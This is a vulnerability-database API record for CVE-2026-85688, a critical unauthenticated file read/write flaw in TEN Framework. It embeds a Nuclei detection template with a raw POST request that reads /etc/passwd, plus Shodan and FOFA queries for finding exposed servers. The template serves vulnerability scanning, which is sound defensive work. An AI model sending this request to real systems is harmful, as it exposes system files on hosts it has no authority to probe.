{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-85688/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-85688/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-85688/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-85688/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-85688/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-85688/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-85688"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-85688"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02641,"kev":false,"percentile":0.85582},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-85688.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-85688\n\ninfo:\n  name: TEN Framework - Arbitrary File Read & Write\n  author: aryu-ru,geo-chen\n  severity: critical\n  description: |\n    TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.\n  impact: |\n    Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of TEN Framework.\n  reference:\n    - https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer\n    - https://github.com/TEN-framework/ten-framework/issues/2187\n    - https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-85688\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-85688\n    epss-score: 0.02641\n    epss-percentile: 0.85627\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ten-framework\n    product: ten-framework\n    shodan-query: http.title:\"TEN Manager\"\n    fofa-query: title=\"TEN Manager\"\n  tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/designer/v1/file-content HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"file_path\":\"/etc/passwd\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"\\\"status\\\":\\\"ok\\\"\", \"\\\"data\\\":{\\\"content\\\":\\\"\", \"root:\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a0048304602210086fc2a18397a2424f21ff12d01e838c7d4ff483c7611b57d2bd4f8b2bc06401b022100e0d2a615f094de97fa95acd96c42965b2772b5b082de088d1c29b1aab0d16b93:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-85688"}